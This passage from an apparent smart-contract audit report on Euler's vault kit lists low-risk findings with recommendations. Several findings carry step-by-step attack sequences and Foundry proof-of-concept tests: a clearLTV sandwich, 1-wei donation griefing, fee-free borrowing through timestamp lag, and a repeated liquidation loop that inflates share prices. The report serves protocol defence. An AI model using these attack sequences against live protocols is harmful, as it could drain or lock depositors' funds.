                eTST3.balanceOf(borrower) * borrowLTV_TST3 / 1e4,
            "collateralValue equal to balances * LTVs after setLTV"
        );
        assertLe(collateralValue * 1e18 / liabilityValue, 1e18, "HS < 1"); // HS < 1

        console.log("Borrower's collateral after setLTV:", collateralValue);

        (maxRepay, maxYield) = eTST.checkLiquidation(liquidator, borrower, address(eTST3));
        console.log("maxRepay:", maxRepay);
        console.log("maxYield:", maxYield);

        startHoax(liquidator);
        vm.expectRevert(Errors.E_BadCollateral.selector);
        eTST.liquidate(borrower, address(eTST2), maxRepay, maxYield);

        eTST.liquidate(borrower, address(eTST3), maxRepay, maxYield);

    }
}
```

Recommendation: Consider blocking liquidations for a reasonable period after the governor clears LTV for any collateral. That would allow borrowers to make their positions healthy again and withdraw the vulnerable collateral asset without losses.

3.1.66 Vault with more than one collateral can have Bad Debt Redistribution prevented via a single wei donation

Submitted by Alex The Entreprenerd

Severity: Low Risk

Context: Liquidation.sol#L211-L227

Impact: Since donations to underwater accounts are not checked a 1 wei donation can be used to prevent a bad debt redistribution from happening. While this is not fundamentally changing the outcome of liquidations, it is delaying it, making it more likely that lender will close their positions as to avoid getting slashed

This, along with the possibility of having positions with non-zero collateral that still are valued at zero, can create small amounts of bad debt.

It may be best to enforce a small minimum position size, or simply round down coll values to zero when they are of an unprofitable amount

Proof of concept:

- Find a liquidation that is about to happen.
- Donate 1 wei in collateral.
- The liquidation no longer will cause bad debt to be redistributed.

This delay could be weaponized as it will fundamentally allow for a jump in the value of the value assets.

Recommendation: Consider whether there should be minimum position sizes to ensure that liquidations are profitable and that small amounts of collateral are ignored when processing bad debt.

3.1.67 Clearing LTV is unsafe and poses system at risk of permanently locking in bad debt

Submitted by Alex The Entreprenerd, also found by 0xa5df, 00xSEV and nonseodion

Severity: Low Risk

Context: Governance.sol#L315-L320

Impact: `clearLTV` can be sandwiched to cause unliquidatable bad debt to the protocol. `clearLTV` would disable a collateral, allowing anyone to borrow w/e the value was previously set. But without allowing for a liquidation

In the case in which a second collateral was prevent, the liquidation could be completed, allowing for Bad Debt Redistribution and closing out the attack.

Proof of concept:

- See a `ClearLTV` Transaction Queued in the Timelock.
- Borrow as much as possible before the LTV is cleared.
- Liquidations cannot happen.
- Enable new collateral.
- Get liquidated and repay 0%.
- Account has been forgiven, they can withdraw their collateral since all debt was forgiven.

Recommendation: `ClearLTV` should be used exclusively after gradual LTV reduction (even if fast), which would allow attempts at liquidations that will not lock in bad debt into the protocol. It's worth noting that any operation that will allow a debt to be forgiven in the next block, is fundamentally unsafe and should be replaced with one that allows recouping of some value or collateral

3.1.68 `checkVaultStatusInternal` is not over-rideable

Submitted by 0xTheBlackPanther

Severity: Low Risk

Context: EthereumVaultConnector.sol#L977

Description: The `checkVaultStatusInternal` function in the `EthereumVaultConnector` contract is used to check the status of a vault by making an external call. Currently, this function is **not** marked as `virtual`, meaning it cannot be overridden in derived contracts. However, its associated function, `requireVaultStatusCheckInternal`, is marked as `virtual`, allowing for customization in derived contracts.

Impact:

- Lack of Customization: Without the `virtual` keyword, `checkVaultStatusInternal` cannot be overridden. This limits flexibility in derived contracts where there might be a need to customize or extend the vault status checking logic.
- Inconsistent Design: The ability to override `requireVaultStatusCheckInternal` but not `checkVaultStatusInternal` leads to an inconsistent design approach. It forces derived contracts to potentially duplicate logic if they need to change how vault status is checked.
- Reduced Modularity: By not allowing `checkVaultStatusInternal` to be overridden, derived contracts may need to override the more general `requireVaultStatusCheckInternal`, impacting modularity and leading to less clear and maintainable code.

Recommendation: Mark `checkVaultStatusInternal` as `virtual`. This change will provide the necessary flexibility for derived contracts to customize the vault status checking process directly, aligning with the design pattern already applied to `requireVaultStatusCheckInternal`.

```
function checkVaultStatusInternal(address vault) internal virtual returns (bool isValid, bytes memory result) {
    bool success;
    (success, result) = vault.call(abi.encodeCall(IVault.checkVaultStatus, ()));

    isValid =
        success && result.length == 32 && abi.decode(result, (bytes32)) ==
↪   bytes32(IVault.checkVaultStatus.selector);

    emit VaultStatusCheck(vault);
}
```

3.1.69 Inconsistent `evc` ownership check in pull and push token can make user lose funds

Submitted by ladboy233

Severity: Low Risk

Context: BaseRewardStreams.sol#L195, BaseRewardStreams.sol#L439, BaseRewardStreams.sol#L454

Description: In `StakingRewardStreams` contract, we the the functions StakingRewardStreams::stake() and StakingRewardStreams::unstake() to stake and unstake the rewarded tokens respectively. When we call the `StakingRewardStreams::stake()`, it pulls the token from `msg.sender` to the contract by calling the function `pullToken()`

```
function stake(address rewarded, uint256 amount) external virtual override nonReentrant {
    address msgSender = _msgSender();
    // ...
    // ...
    pullToken(IERC20(rewarded), msgSender, amount); // <<<
}
```

When we check the BaseRewardStream::pullToken() we can see that `msg.sender` can be any address.

```
function pullToken(IERC20 token, address from, uint256 amount) internal {
    uint256 preBalance = token.balanceOf(address(this));
    token.safeTransferFrom(from, address(this), amount);

    if (token.balanceOf(address(this)) - preBalance != amount) {
        revert InvalidAmount();
    }
}
```

But when `pushToken()` out, the code actually check the address to is an evc account owner. Now the issue is that when we consider an account that stakes using the `stake()` function but the account is not a evc account owner, now he cannot withdraw the staked fund due to the check performed in BaseRewardStream::pushToken():

```
function pushToken(IERC20 token, address to, uint256 amount) internal {
    address owner = evc.getAccountOwner(to); // <<<

    if (to == address(0) || (owner != address(0) && owner != to)) {
        revert InvalidRecipient();
    }

    IERC20(token).safeTransfer(to, amount);
}
```

Recommendation: Remove the check `address owner = evc.getAccountOwner(to);` in `pushToken()` or add the check in `pullToken()`.

3.1.70 Attacker can borrow assets without paying any fees

Submitted by 00xSEV

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: Fees are only added after the block timestamp changes. On some chains, such as Arbitrum, the timestamp is not updated with every block, allowing an attacker to borrow funds without fees for several blocks, then return the funds one block before the timestamp changes and repeat the process. On Arbitrum, the block.timestamp changes approximately every 1 second, although blocks are produced every ~0.2 seconds. This can be observed on Arbiscan.

Moreover, the block.timestamp does not need to update every second; it just needs to be greater than or equal to the last one on Ethereum, according to Arbitrum documentation. There are plans to decentralize the sequencer, and some implementations may change the block.timestamp even less frequently than currently.

Steps for Arbitrum:

1. Borrow at `block.timestamp = X`, `block.number = Y`.
2. Keep funds for 2 more blocks.
3. Return on `block.number = Y + 3`, `block.timestamp = X`.
4. Repeat from step 1 on `block.number = Y + 4`, `block.timestamp = X + 1`.

This means the attacker can borrow funds for several blocks on Arbitrum, or for an entire block on Ethereum (e.g., borrow at the start of the block and return at the end) without paying fees.

This can be profitable and deteriorate the user experience, as funds are not available for borrowing and redeeming, and rewards are lower than expected.

The attacker can deposit borrowed funds to DEXes to earn fees without paying fees to the lenders on Euler. Some other lending protocols may give rewards based on block.number or other mechanisms, making this attack profitable: borrow money for free on Euler, then put it in another protocol.

Impact: Funds are inaccessible to regular users because they are almost always 100% borrowed, but the fees are not paid to the lenders.

Proof of concept: `forge test --match-path test/H22.sol -vvv`

```
// SPDX-License-Identifier: None

pragma solidity ^0.8.0;
import "./unit/evault/modules/Vault/borrow.t.sol";
import "./mocks/IRMTestFixed.sol";
import "./mocks/IRMTestDefault.sol";
import "./mocks/IRMMax.sol";

import {console} from "forge-std/console.sol";

import {EthereumVaultConnector, IEVC} from "ethereum-vault-connector/EthereumVaultConnector.sol";

import {TestERC20} from "./mocks/TestERC20.sol";

// Almost the same as borrow.t.sol
contract H22 is EVaultTestBase {
    using TypesLib for uint256;

    address depositor;
    address borrower;
    address borrower2;

    function setUp() public override {
        super.setUp();

        depositor = makeAddr("depositor");
        borrower = makeAddr("borrower");
        borrower2 = makeAddr("borrower_2");

        // Setup

        oracle.setPrice(address(assetTST), unitOfAccount, 1e18);
        oracle.setPrice(address(assetTST2), unitOfAccount, 1e18);

        eTST.setLTV(address(eTST2), 0.9e4, 0.9e4, 0);

        // Depositor

        startHoax(depositor);

        assetTST.mint(depositor, type(uint256).max);
        assetTST.approve(address(eTST), type(uint256).max);
        eTST.deposit(100e18, depositor);

        // Borrower

        startHoax(borrower);

        assetTST2.mint(borrower, type(uint256).max);
        assetTST2.approve(address(eTST2), type(uint256).max);
        eTST2.deposit(10e18, borrower);

        vm.stopPrank();
    }

    // Change block.number
    function test_basicBorrow() public {
        startHoax(borrower);

        evc.enableController(borrower, address(eTST));
        evc.enableCollateral(borrower, address(eTST2));

        assertEq(0, assetTST.balanceOf(borrower));
        eTST.borrow(5e18, borrower);
        vm.roll(block.number + 3);

        assertEq(eTST.debtOf(borrower), 5e18);
        assertEq(assetTST.balanceOf(borrower), 5e18);

        assetTST.approve(address(eTST), type(uint256).max);
        eTST.repay(type(uint256).max, borrower);
        assertEq(0, assetTST.balanceOf(borrower));
    }

    // Change block.timestamp
```

```
    function test_basicBorrow2() public {
        startHoax(borrower);

        evc.enableController(borrower, address(eTST));
        evc.enableCollateral(borrower, address(eTST2));

        assertEq(0, assetTST.balanceOf(borrower));
        eTST.borrow(5e18, borrower);

        vm.warp(block.timestamp + 1);
        assertEq(assetTST.balanceOf(borrower), 5e18);
        assertGt(eTST.debtOf(borrower), 5e18);
        assertGt(eTST.debtOf(borrower), assetTST.balanceOf(borrower));
    }

}
```

Recommendation: Consider adding a minimal fee for each borrow, even if it is returned within the same `block.timestamp`.

3.1.71 An attacker can plummet a share price when there are little funds in the vault

Submitted by 00xSEV

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: An attacker can plummet a share price when there are little funds in the vault, e.g., just after the vault creation. Or when there is a temporary better opportunity to deposit the funds elsewhere, so all the funds are moved there.

Steps:

1. Provide several collaterals with the following values in `unitOfAccount`: [1, 2].
    1. It should be the minimum amount that is rounded to that `unitOfAccount`. For example, if the price is 0.5 `unitOfAccount` per unit of collateral, and the LTV is 0.9, the attacker should deposit 5 units (wei) of collateral.
2. Deposit and instantly borrow assets just 1 unit (wei) less than 3 `unitOfAccount` (maximum allowed amount).
    1. For example, if the price is 0.1 `unitOfAccount` per unit of liability, the attacker should deposit 30-1 = 29 units (wei) of the asset that they will then instantly borrow.
3. State (in `unitOfAccount`): `{collateral: [1, 2], liability: 2}`.
4. Wait for the price of both collaterals to decrease.
    1. It needs to decrease just a tiny amount.
    2. Often, collaterals move together, e.g., (stETH + wETH, USDC + USDT, wETH + wBTC).
    3. Even when the collaterals move independently and randomly, there is still a 25% chance that they will both move down simultaneously (every 4th block).
    4. On some oracles (e.g., TWAP), the attacker can predict with high probability that the price for both will go down (it went down for 30 minutes, and even if it starts to go up, it will continue to decrease for a while).
5. After every block, liability grows and is rounded up. Liability has a giant precision, so it grows every `block.timestamp`. After 1 `block.timestamp`, it will be 3 (consider the price of the liability stable or going up).
    1. For example, it was 29.000, after 1 `block.timestamp`, it becomes 29.001, which is rounded to 30, which is rounded to 3 `unitOfAccount` (see `getLiabilityValue` function).
6. New state (in `unitOfAccount`): `{collateral: [0, 1], liability: 3}`.
7. The first liquidation removes 2 `unitOfAccount` liabilities and 1 collateral, new state: `{collateral: [0], liability: 2}`.

8. The second liquidation will socialize liability (the protocol thinks that collateral is worthless), and the collateral will be given to the liquidator.
9. Share price decreases. Depending on how many liability units (wei) are in 1 `unitOfAccount` (e.g., 1 `unitOfAccount` can cost `1e7` liability), the price of shares increases by an amount equal to 2 `unitOfAccount` (or `2e7` liability).
10. The attack can be repeated to inflate the share price to the maximum possible value, leading to the vault's lock.

When liquidation is performed, it values collateral and liability in `unitOfAccount`.

- 1 `unitOfAccount` can be much more than 1 wei of collateral and liability.
  - For example, if 1 `unitOfAccount = 1e6` units of liability, an oracle will return 0 for `1e6 - 1`.
- Liability is counted in Owed, which has increased precision. This means that even the smallest block.timestamp change will increase it.
- Owed is rounded up. This means that after one `block.timestamp`, we can be sure that liability will be counted as 1 wei more. For example, `1e6 - 1` will become `1e6`.
  - After that, the system will think that the value in `unitOfAccount` has moved from 0 to 1.
  - A similar trick is true for collateral. When the price is 0.05, 400 wei of collateral costs 2 `unitOfAccount`, but if the price moves just a little, to 0.0499999, it will cost 1 unit of account.
  - This can be repeated, from 0.0499999 to 0.0487, the attacker can use 399 units of collateral. And then again and again. The lower the price, the less movement is needed.
  - What matters is only the relative price change. If the price goes up again, the attacker can repeat the process.
  - When a TWAP oracle is used, the attacker can see the price movement in advance. In the case of a downward movement for 30 minutes, the attacker knows that it will be slowly averaging down for several blocks with high probability (it will change direction only if the price starts to rapidly grow).
  - For some tokens, the attacker may know that the price will change, such as wstETH grows (if used as unitOfAccount, the relative price of liability and collateral will go down) or decrease.
- When this attack is repeated several times (~40 times is enough), the share price can be increased to its maximum allowed value, so no one else will be able to use the vault.
  - On Arbitrum, it's just 40 seconds (40 changes in `block.timestamp`) if the attacker is lucky or the oracle is a TWAP that shows a downward trend. It's 80 seconds on average (if the price goes up 50% of the time, and goes down 50% of the time).
- More collaterals can be used to speed up the attack (more assets will be socialized). For example, `{collateral: [1, 2, 2, 2, 2], liability: 8}` $\rightarrow$ `{collateral: [0, 1, 1, 1, 1], liability: 9}` $\rightarrow$ socializing 5.
  - Also, it will only require 2 collaterals to go down. They may also use collaterals with different initial `unitOfAccount [1, 2, 1, 2, 1]`, borrow 6 `unitOfAccount`. As long as one of the collaterals that has 1 initial `unitOfAccount` goes down a little and costs 0, and some other goes from 2 to 1, they can execute the attack. First removing valuable collaterals, and then socializing the last one.
- The lower the liability price in `unitOfAccount`, the faster the shares' amount will grow.
- Liquidators may not be incentivized to perform a liquidation because the values are low, and the attacker may get part of their funds back by liquidating their positions themselves.
- Because of some internal calculation errors (due to virtual assets), it will also allow shares that cost more than assets in the protocol (simplified formula for when there are no assets is `(real_shares + virtual_shares) / virtual_assets = (real_shares + 1e6)/1e6`, which is never 0). This may lead to serious calculation errors.
  - Borrowing without collateral in other vaults if these shares are allowed as collateral.
  - Incorrect TWAP prices if the vault is used for it.

- An attacker can steal part of the next deposit, up to 1e6 of assets.
- Fee shares minting won't work as expected according to this comment.
- Depending on the price of 1 `unitOfAccount`, it can be profitable to socialize liability.
- In the case of low transaction costs and high `unitOfAccount` value, simple debt socializing can be profitable (the attacker gets back their collateral and also keeps the debt) as long as gas costs < profit (1-5 `unitOfAccount`). It's a similar core issue but a different attack vector.

Impact:

- Possibility to lock the vault.
- An attacker can steal part of the next deposit, up to `1e6` of assets.
- Fee shares minting won't work as expected according to this comment.
- Depending on the price of 1 `unitOfAccount`, it can be profitable to socialize liability regularly.
- Possible borrowing up to 1 `unitOfAccount` without collateral, based on shares that have value according to the vault but lack assets to back them.

Proof of concept: `forge test --match-path test/H13_f.sol -vvv | tee tmp.txt`

```
// SPDX-License-Identifier: None

pragma solidity ^0.8.0;
import "./unit/evault/modules/Vault/borrow.t.sol";
import "./mocks/IRMTestFixed.sol";
import "./mocks/IRMTestDefault.sol";
import "./mocks/IRMMax.sol";

import {console} from "forge-std/console.sol";

import {EthereumVaultConnector, IEVC} from "ethereum-vault-connector/EthereumVaultConnector.sol";

import {TestERC20} from "./mocks/TestERC20.sol";

contract H13_f is EVaultTestBase {
    using TypesLib for uint256;

    // Borrower is the attacker
    address borrower;
    // Liquidator is the second attacker's address
    // It can also be a regular liquidator
    address liquidator;

    TestERC20 assetTST3;

    IEVault public eTST3;

    function setUp() public override {
        super.setUp();

        borrower = makeAddr("borrower");
        liquidator = makeAddr("liquidator");

        // Setup
        oracle.setPrice(address(assetTST), unitOfAccount, 0.1 * 1e18);
        oracle.setPrice(address(assetTST2), unitOfAccount, 0.5 * 1e18);

        eTST.setInterestFee(0.1e4);
        eTST.setInterestRateModel(address(new IRMTestDefault()));

        assetTST3 = new TestERC20("Test TST 3", "TST3", 18, false);
        eTST3 = IEVault(
            factory.createProxy(address(0), true, abi.encodePacked(address(assetTST3), address(oracle),
↪  unitOfAccount))
        );
        eTST3.setInterestRateModel(address(new IRMTestDefault()));
        oracle.setPrice(address(assetTST3), unitOfAccount, 1e18);
        eTST.setLTV(address(eTST3), 0.9e4, 0.9e4, 0);



        vm.label(address(eTST), "eTST");
```

```
        vm.label(address(eTST2), "eTST2");
        vm.label(address(eTST3), "eTST3");

        startHoax(borrower);
        assetTST2.mint(borrower, 1e24);
        assetTST2.approve(address(eTST2), type(uint256).max);

        assetTST3.mint(borrower, 1e24);
        assetTST3.approve(address(eTST3), type(uint256).max);

        vm.stopPrank();
        eTST.setLTV(address(eTST2), 0.8e4, 0.9e4, 0);
        eTST.setLTV(address(eTST3), 0.8e4, 0.9e4, 0);

        // Step 0: set prices, make liquidator and borrower enable collaterals, transfer tokens, etc.
        // Note: 1e12 is ~amount that will be possible to socialize, because it has no value
        uint initialPriceOfTST = 1e18 / 1e12;
        oracle.setPrice(address(assetTST), unitOfAccount, initialPriceOfTST );
        oracle.setPrice(address(assetTST2), unitOfAccount, 0.05 * 1e18);
        oracle.setPrice(address(assetTST3), unitOfAccount, 0.05 * 1e18);

        _allowLiquidatorToLiquidateMinimal(eTST2, 0);
        _allowLiquidatorToLiquidateMinimal(eTST3, 1);

        startHoax(borrower);

        evc.enableController(borrower, address(eTST));
        evc.enableCollateral(borrower, address(eTST2));
        evc.enableCollateral(borrower, address(eTST3));

        assetTST.mint(borrower, 100e18);
        assetTST.approve(address(eTST), type(uint256).max);
    }

    function test31() public {
        // Step 1: deposit 1 value on eTST2, 2 value on eTST3
        vm.startPrank(borrower);
        eTST2.deposit(40, borrower);
        eTST3.deposit(60, borrower);
        _logCollateralAndLiabilityOf(borrower);

        // Step 2: borrow 2 value (max allowed)
        uint borrowAmount = 3e12 - 1;
        eTST.deposit(borrowAmount, borrower);
        eTST.borrow(borrowAmount, borrower);
        _logCollateralAndLiabilityOf(borrower);

        // Step 3: price is changed a bit
        vm.warp(block.timestamp + 12);
        _logCollateralAndLiabilityOf(borrower);

        oracle.setPrice(address(assetTST2), unitOfAccount, 0.0499 * 1e18);
        oracle.setPrice(address(assetTST3), unitOfAccount, 0.0499 * 1e18);
        _logCollateralAndLiabilityOf(borrower);



        // Step 4: liquidate valuable collaterals
        vm.stopPrank();
        vm.startPrank(liquidator);
        console.log("Liquidator TST2: %e", eTST2.balanceOf(liquidator));
        console.log("Liquidator TST3: %e", eTST3.balanceOf(liquidator));

        eTST.liquidate(borrower, address(eTST3), type(uint256).max, 60);
        _logCollateralAndLiabilityOf(borrower);
        eTST.liquidate(borrower, address(eTST2), type(uint256).max, 0);

        console.log("Liquidator TST2: %e", eTST2.balanceOf(liquidator));
        console.log("Liquidator TST3: %e", eTST3.balanceOf(liquidator));
        _logCollateralAndLiabilityOf(borrower);
        console.log("debtOf(liquidator): %e", eTST.debtOf(liquidator));

        assetTST.mint(liquidator, 100e18);
        assetTST.approve(address(eTST), type(uint).max);
        eTST.repay(type(uint).max, liquidator);
```

```
vm.stopPrank();
vm.startPrank(borrower);
eTST.withdraw(assetTST.balanceOf(address(eTST)), borrower, borrower);


_logFinalResults();
// return;

/* Repeat 1: shows that another price decrease will work */
console.log("__Repeat1: price goes down again");

// Deposit again, 3 values total
eTST2.deposit(41, borrower);
eTST3.deposit(61, borrower);
_logCollateralAndLiabilityOf(borrower);

// Borrow again
eTST.deposit(borrowAmount, borrower);
eTST.borrow(borrowAmount, borrower);
_logCollateralAndLiabilityOf(borrower);

vm.warp(block.timestamp + 12);
_logCollateralAndLiabilityOf(borrower);

oracle.setPrice(address(assetTST2), unitOfAccount, 0.0487 * 1e18);
oracle.setPrice(address(assetTST3), unitOfAccount, 0.0487 * 1e18);
_logCollateralAndLiabilityOf(borrower);

vm.stopPrank();
vm.startPrank(liquidator);
eTST.liquidate(borrower, address(eTST3), type(uint256).max, 61);
eTST.liquidate(borrower, address(eTST2), type(uint256).max, 0);
_logCollateralAndLiabilityOf(borrower);
console.log("debtOf(liquidator): %e", eTST.debtOf(liquidator));

eTST.repay(type(uint).max, liquidator);

vm.stopPrank();
vm.startPrank(borrower);
eTST.withdraw(assetTST.balanceOf(address(eTST)), borrower, borrower);


_logFinalResults();
// return;

/* Repeat 2+: price goes up and down */
console.log("__Repeat2+: price goes up and down");
// Note: starts to revert when i > 42
for (uint i; i <= 43; i++) {
    console.log("++Trying i", i);

    oracle.setPrice(address(assetTST2), unitOfAccount, 0.05 * 1e18);
    oracle.setPrice(address(assetTST3), unitOfAccount, 0.05 * 1e18);

    // Deposit again, 3 values total
    eTST2.deposit(40, borrower);
    eTST3.deposit(60, borrower);
    _logCollateralAndLiabilityOf(borrower);

    if (i >= 43) {
        // Note: starts to revert after 43 repeats
        vm.expectRevert(Errors.E_AmountTooLargeToEncode.selector);
        eTST.deposit(borrowAmount, borrower);
        console.log("Loop reverted on i %s, return", i);
        return;
    }
    // Borrow again
    eTST.deposit(borrowAmount, borrower);
    eTST.borrow(borrowAmount, borrower);
    _logCollateralAndLiabilityOf(borrower);

    vm.warp(block.timestamp + 12);
    _logCollateralAndLiabilityOf(borrower);

    oracle.setPrice(address(assetTST2), unitOfAccount, 0.0499 * 1e18);
    oracle.setPrice(address(assetTST3), unitOfAccount, 0.0499 * 1e18);
```

```
            _logCollateralAndLiabilityOf(borrower);

            vm.stopPrank();
            vm.startPrank(liquidator);
            eTST.liquidate(borrower, address(eTST3), type(uint256).max, 60);
            eTST.liquidate(borrower, address(eTST2), type(uint256).max, 0);
            _logCollateralAndLiabilityOf(borrower);
            console.log("debtOf(liquidator): %e", eTST.debtOf(liquidator));

            eTST.repay(type(uint).max, liquidator);

            vm.stopPrank();
            vm.startPrank(borrower);
            uint balanceOfETST = assetTST.balanceOf(address(eTST));
            eTST.withdraw(balanceOfETST, borrower, borrower);

            if (i < 30) {
                // Note: starts to revert convertToShares(1e18) after 30 loops
                _logFinalResultsWithCustomPrecision({
                    precision: 1e18,
                    shouldPrintShareBalanceInAssets: true
                });
            } else {
                _logFinalResultsWithCustomPrecision({
                    precision: 1,
                    shouldPrintShareBalanceInAssets: false
                });
            }
        }
    }

    function _logFinalResultsWithCustomPrecision(uint precision, bool shouldPrintShareBalanceInAssets)
↪   internal view {
        uint sharesBalanceBorrower = eTST.balanceOf(borrower);
        uint sharesBalanceLiquidator = eTST.balanceOf(liquidator);

        console.log("sharesBalanceBorrower: %e", sharesBalanceBorrower);
        console.log("sharesBalanceLiquidator: %e", sharesBalanceLiquidator);

        if (shouldPrintShareBalanceInAssets){
            console.log("sharesBalanceBorrower in assets: %e", eTST.convertToAssets(sharesBalanceBorrower));
            console.log("sharesBalanceLiquidator in assets: %e", eTST.convertToAssets(sharesBalanceLiquidator)
);
        }

        console.log("totalAssets: %e", eTST.totalAssets());
        console.log("totalSupply: %e", eTST.totalSupply());
        console.log("totalBorrows: %e", eTST.totalBorrows());

        console.log("exchangeRate shares*%e in 1 asset: %e", precision, eTST.convertToShares(precision));
        console.log("exchangeRate assets*%e in 1 share: %e", precision, eTST.convertToAssets(precision));
    }

    function _logFinalResults() internal view {
        _logFinalResultsWithCustomPrecision(1e18, true);
    }

    function _allowLiquidatorToLiquidateMinimal(IEVault vault, uint amt) internal {
        vm.startPrank(liquidator);
        evc.enableController(liquidator, address(eTST));
        TestERC20(vault.asset()).mint(liquidator, amt);
        TestERC20(vault.asset()).approve(address(vault), type(uint256).max);
        vault.deposit(amt, liquidator);
        evc.enableCollateral(liquidator, address(vault));
        vm.stopPrank();
    }

    function _logCollateralAndLiabilityOf(address adr) internal view {
        (uint256 collateralValue, uint256 liabilityValue) = eTST.accountLiquidity(adr, true);
        console.log("b1: c: %e l: %e", collateralValue, liabilityValue);
    }

    function _logCollateralFullAndLiabilityOf(address adr) internal view {
        (address[] memory collaterals, uint256[] memory collateralValues, uint256 liabilityValue) =
↪   eTST.accountLiquidityFull(adr, true);
        string memory tmp = "_logCollateralFullAndLiabilityOf: cols: ";
```

```
        for(uint i; i< collaterals.length; i++){
            tmp = string.concat(tmp, vm.toString(collaterals[i]));
            tmp = string.concat(tmp, "=>");
            tmp = string.concat(tmp, vm.toString(collateralValues[i]));
            tmp = string.concat(tmp, ";");
        }
        tmp = string.concat(tmp, "l:");
        tmp = string.concat(tmp, vm.toString(liabilityValue));
        console.log(tmp);
    }
}
```

Recommendation: Consider setting a minimum amount of value in `unitOfAccount` that can be borrowed or should be left after a repayment if not all the debt is repaid.

3.1.72 Interest rate will not be updated when setting a new interest fee

Submitted by ElGreenGoblino

Severity: Low Risk

Context: Governance.sol#L389

Description: The interest rate is computed based on the utilization of the vault. Consequently, a new interest rate should be targeted whenever asset balances or debt amounts change. This behavior is described in the EVK whitepaper, as well as in EVK-65 and EVK-68 specifications.

Description: The `setInterestFee` function does not update the interest rate of the vault, although it updates the utilization of the vault due to the increase of the `totalBorrows` variable.

Impact: The impact of this issue depends on two factors:

- The frequency at which `setInterestFee` is called.
- The duration for which the vault has not been updated before calling `setInterestFee`.

Since the EVK is a general-purpose kit, neither of the above parameters can be assumed to have low or high impact. However, considering a conservative approach and the absence of loss of users' principal funds, I assess it as low.

Likelihood: The likelihood of this issue is high since it will happen every time `setInterestFee` is called.

Recommendation: Update the interest rate of the vault, similar to what is done in `setInterestRateModel`, for example.

3.1.73 `borrowLTV` can be equal to `liquidateLTV`

Submitted by twcctop Exvul

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description:

When setting LTV, is possible `borrowLTV` to equal `liquidateLTV`, that will cause a problem when user tries to borrow the max amount asset they can, making them susceptible to be liquidated instantly even if the collateral price hasn't changed.

```
function setLTV(address collateral, uint16 borrowLTV, uint16 liquidationLTV, uint32 rampDuration) {
    // ...
    if (newBorrowLTV > newLiquidationLTV) revert E_LTVBorrow(); // <<<
        //...
```

Recommendation:

```
  function setLTV(address collateral, uint16 borrowLTV, uint16 liquidationLTV, uint32 rampDuration) {
      // ...
-     if (newBorrowLTV > newLiquidationLTV) revert E_LTVBorrow();
+     if (newBorrowLTV >= newLiquidationLTV) revert E_LTVBorrow();
          // ...
```

3.1.74 Borrow generated interest are removed from ESynth total supply on repay

Submitted by Anurag Jain

Severity: Low Risk

Context: ESynth.sol#L108

Description: If Esynth tokens are borrowed by User after being allocated to Vault, then on repaying the `borrow+interest`, `totalSupply` of ESynth token will reduce more than expected due to interest amount

1. As per product team:

   "Say you created a synth token. It's not backed by anything, you need to back it and put it into circulation.

To do that, you deploy a vault with special configuration (you need a special IRM, special hook target and hooked ops which will make certain operations disabled). Then you call allocate function on the synth in order to deposit it in the vault. At this point, all the synth tokens in the vault are still unbacked. However, when somebody borrows, to get the synth out of the vault, they must post collateral to support their loan. This is how the borrowed synth becomes backed by the collateral, they are no longer considered minted "*out of thin air*". 2. So, lets say User has used `PegStabilityModule` to get `2` ESynth token by giving away some underlying asset. 3. ESynth token has allocated `100` ESynth token to Vault `V1`. 4. Now `totalSupply` will be `2` ESynth token since token held by `V1` will be ignored by `totalSupply`. 5. Lets say User borrows `1` ESynth token from Vault which increases the totalSupply to $2 + 1 = 3$ (Borrowed asset is backed by Collateral). 6. After some days, User interest amount is `1`. 7. So User repays `1 (borrowed) +1 (interest) = 2` to the Vault. 8. `totalSupply` becomes `1` which is held by Borrower even though `2` ESynth token are backed by collateral at `PegStabilityModule` & Vault.

Impact: ESynth token `totalSupply` will decrease even though the ESynth token removed from `totalSupply` was backed by a real world asset.

Proof of concept: Place this test under `test\unit\esynth` folder:

```
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.20;

import {ESynthTest} from "./lib/ESynthTest.sol";
import {stdError} from "forge-std/Test.sol";
import {Errors} from "../../../src/EVault/shared/Errors.sol";
import {ESynth} from "../../../src/Synths/ESynth.sol";
import {MockWrongEVC} from "../../mocks/MockWrongEVC.sol";

contract ESynthGeneralTest is ESynthTest {
    uint128 constant MAX_ALLOWED = type(uint128).max;
    address borrower;
    uint112 borrowerInitialESynthAmount = 2;

    function setUp() public override {
        super.setUp();

        borrower = makeAddr("borrower");

        // Setup

        oracle.setPrice(address(assetTST), unitOfAccount, 1e18);
        oracle.setPrice(address(assetTST2), unitOfAccount, 1e18);

        eTST.setLTV(address(eTST2), 0.5e4, 0.5e4, 0);

        // Borrower

        startHoax(borrower);

        assetTST2.mint(borrower, type(uint256).max);
        assetTST2.approve(address(eTST2), type(uint256).max);
        eTST2.deposit(10e18, borrower);

        vm.stopPrank();

        // ESynth Initial Setup
        esynth.setCapacity(address(this), MAX_ALLOWED);
        esynth.mint(address(borrower), borrowerInitialESynthAmount);
    }
```

```
    function test_interestRemovedFromSupply() public {
        uint112 amount = 100;

        uint112 borrowAmount = 1;

        // Mint `amount` to self
        esynth.mint(address(esynth), amount);

        // Total supply includes mint to self + borrower ESynth balance
        assertEq(esynth.totalSupply(), amount + borrowerInitialESynthAmount);

        // Allocate `amount` to Vault
        esynth.allocate(address(eTST), amount);

        // Allocate will ignore Vault so supply only has borrowerInitialESynthAmount
        assertEq(esynth.totalSupply(), borrowerInitialESynthAmount);

        // Borrower borrows borrowAmount esynth
        startHoax(borrower);
        evc.enableController(borrower, address(eTST));
        evc.enableCollateral(borrower, address(eTST2));
        eTST.borrow(borrowAmount, borrower);

        // Since 1 esynth moved away from vault into circulation so totalSupply =
        // borrowAmount+borrowerInitialESynthAmount
        assertEq(esynth.totalSupply(), borrowAmount + borrowerInitialESynthAmount);

        assertEq(esynth.balanceOf(borrower), borrowAmount + borrowerInitialESynthAmount);

        skip(1 days);

        // Borrower repays borrowed amount + interest which is 1(borrowed)+1(interest)
        assetTST.approve(address(eTST), type(uint256).max);
        eTST.repay(eTST.debtOf(borrower), borrower);
        vm.stopPrank();

        // Below assertLt check fails showing that totalSupply decrease more than intial
↪   borrowerInitialESynthAmount
        // which is unexpected
        assertLt(esynth.totalSupply(), borrowerInitialESynthAmount);
    }
}
```

Recommendation: Interest amount should not be ignored in `totalSupply`.

3.1.75 Liquidation Cool Off Period could incur losses on both depositors of the vault and liquidators

Submitted by Udsen

Severity: Low Risk

